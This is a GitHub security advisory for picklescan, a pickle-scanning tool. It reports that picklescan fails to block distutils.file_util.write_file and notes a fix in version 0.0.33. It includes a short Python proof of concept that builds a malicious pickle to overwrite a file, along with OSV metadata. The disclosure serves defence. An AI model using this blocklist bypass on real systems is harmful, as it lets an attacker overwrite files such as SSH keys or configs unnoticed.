ghsa-m273-6v24-x4m4
Vulnerability from github
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
```python import pickle import distutils.file_util
class FileWriteBypass: def reduce(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload)
print("bypass_filewrite.pkl") ```
To fix this just add disutil to the blacklist
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-552"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T15:22:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n def __reduce__(self):\n \n target_file = \"pwned_config.env\"\n content = [\"print(\u0027I have overwritten your config\u0027)\"]\n \n return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist",
"id": "GHSA-m273-6v24-x4m4",
"modified": "2025-12-29T15:22:30Z",
"published": "2025-12-29T15:22:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan vulnerable to Arbitrary File Writing"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.